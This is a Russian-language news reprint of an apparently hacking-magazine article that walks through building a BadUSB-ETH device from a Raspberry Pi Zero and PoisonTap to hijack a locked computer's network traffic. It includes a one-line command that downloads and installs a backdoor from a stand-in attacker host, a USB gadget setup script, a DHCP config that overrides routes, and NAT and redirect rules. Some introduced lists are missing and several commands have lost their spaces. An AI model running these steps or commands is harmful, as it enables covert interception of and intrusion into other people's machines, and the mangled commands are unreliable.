Категория > Новости > Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»
Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»23-02-2023, 00:00. Автор: Stevenson |
BadUSB-HID? Главное отличие в том, что рассматриваемую атаку можно реализовать на заблокированном компьютере. Кроме того, для проведения такой атаки не требуется скрытное и длительное подключение какого‑либо девайса, она позволяет атаковать цель за несколько минут. Ведь если ПК разблокирован, то можно реализовать более простую и действенную атаку из предыдущей статьи или просто набрать на клавиатуре команду скачивания и запуска бэкдора:
msiexec /i https://attacker.tk/backdoor.msi
В итоге на «ручную» компрометацию оставленной без присмотра разблокированной персоналки потребуется всего три‑четыре секунды! Компьютеры сегодня повсюду, и торчащие наружу USB-порты можно увидеть достаточно часто. Неконтролируемый USB-порт в общественном месте Объектом атаки может стать заблокированный компьютер, оставленный без присмотра на короткое время, либо терминал, либо стенд с торчащим наружу USB-портом. infoЭта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях». ТеорияПодключаемое устройство BadUSB-ETH определяется как сетевая карта Еthernet. На самом деле это не просто сетевая карта, а устройство, внутри которого полноценный компьютер со своей ОС. И мы реализуем достаточно хитрую цепочку из множества атак. По сути, это собственная, более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем открытый проект PoisonTap. Первое и самое главное — это то, как мы настраиваем сеть на атакуемой машине. В момент подключения интерфейс именно создается, а не поднимается. Это значит, что сразу после подключения ПК запросит настройки по DHCP (дефолтное поведение). В ответ на такой запрос наше устройство выдает не совсем обычную конфигурацию сети, при которой она станет приоритетной и перекроет все активные сетевые подключения на атакуемом компьютере. Достигается это через более короткие маски маршрутов:
0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)
Во всех современных ОС маршрутизация в IP-сетях строится по единому принципу: чем короче маска сети у маршрута, тем приоритетнее маршрут. Это главное правило маршрутизации. И в нашем случае маска После применения таких настроек нового сетевого подключения все пакеты от других сетевых интерфейсов пойдут по новому маршруту — уже в наше хакерское устройство, и мы как бы «вытянем» весь трафик. Таким образом, мы сможем реально перехватывать весь сетевой трафик заблокированного устройства посредством обычного USB. Схематично атака представлена на рисунке ниже. Схема атаки BadUSB-ETH Не стоит забывать, что мы установили и обычный сетевой канал взаимодействия с заблокированным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фантазии:
Наконец, наше устройство является еще и «супершлюзом», поскольку сетевой трафик, включая и смежные сетевые интерфейсы, идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназначенных для перехвата трафика:
РеализацияУстройство может быть реализовано на базе множества одноплатных решений. Наиболее легковесное и известное среди них — Raspberry Pi Zero (W). Эта плата не потребует дополнительного питания, необходимое напряжение берется от USB-порта компьютера. С целью индикации хода атак для простоты используем три светодиода со следующими ролями:
Большинство одноплатных ПК снабжены GPIO-пинами, с помощью которых можно подавать небольшое напряжение, необходимое для работы светодиодов. Схема подключения светодиодов Соответственно, чтобы зажечь, а потом погасить светодиод, подключенный, например, к 26-му пину, потребуется выполнить следующие команды ОС внутри платы:
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Эмуляция Ethernet-устройства, как и эмуляция других видов USB-девайсов, поддерживается непосредственно ядром Linux через так называемые USB-гаджеты. Очень красиво такую атаку продемонстрировал Сами Камкар (Sami Kamkar) в проекте под названием PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s~/poisontap /opt/poisontap
Именно этот инструмент взят за основу, особенно в эмуляции сетевой карты, но с некоторыми улучшениями: /home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd/sys/kernel/config/usb_gadget/
mkdir -ppoisontap
cd poisontap
echo 0x0694 >idVendor
echo 0x0005 >idProduct
mkdir -pstrings/0x409
echo "Samy Kamkar" >strings/0x409/manufacturer
echo "PoisonTap" >strings/0x409/product
# RNDIS
mkdir configs/c.2
echo "0xC0" >configs/c.2/bmAttributes
echo "1" >configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" >configs/c.2/strings/0x409/configuration
echo "1" >os_desc/use
echo "0xcd" >os_desc/b_vendor_code
echo "MSFT100" >os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" >functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" >functions/rndis.usb0/host_addr
echo "RNDIS" >functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" >functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -sfunctions/rndis.usb0 configs/c.2
ln -sconfigs/c.2 os_desc
ls/sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -wnet.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337
#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js
iptables -t nat -APOSTROUTING -ousb0 -jMASQUERADE
Поскольку атака кросс‑платформенная, требуется настройка эмуляции сразу двух составных USB-устройств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле /etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.10 1.0.0.50;
option broadcast-address 255.255.255.255;
option routers 1.0.0.1;
default-lease-time 600;
max-lease-time 7200;
option domain-name "local";
option domain-name-servers 1.0.0.1;
# send the routes for both the top and bottom of the IPv4 address space
option classless-routes 1,0,1,0,0,1, 1,128,1,0,0,1;
option classless-routes-win 1,0,1,0,0,1, 1,128,1,0,0,1;
}
Перейти обратно к новости |